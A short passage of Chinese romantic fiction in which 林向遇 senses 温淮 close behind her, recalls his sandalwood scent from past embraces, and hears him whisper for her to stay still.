林向遇侧头,只看得见身后人飘过来的青丝,被冷风一吹,落在鼻尖,于是鼻尖也传来他的气息,带着一种檀香。 “温淮?”林向遇小声道,也许是因为当下着诡异的氛围,她心脏砰砰跳。只闻见他的气息在身边荡啊荡,林向遇闭了闭,好像从前,每个他拥抱住她的夜晚。也是这样的气息。 “嘘,别动。”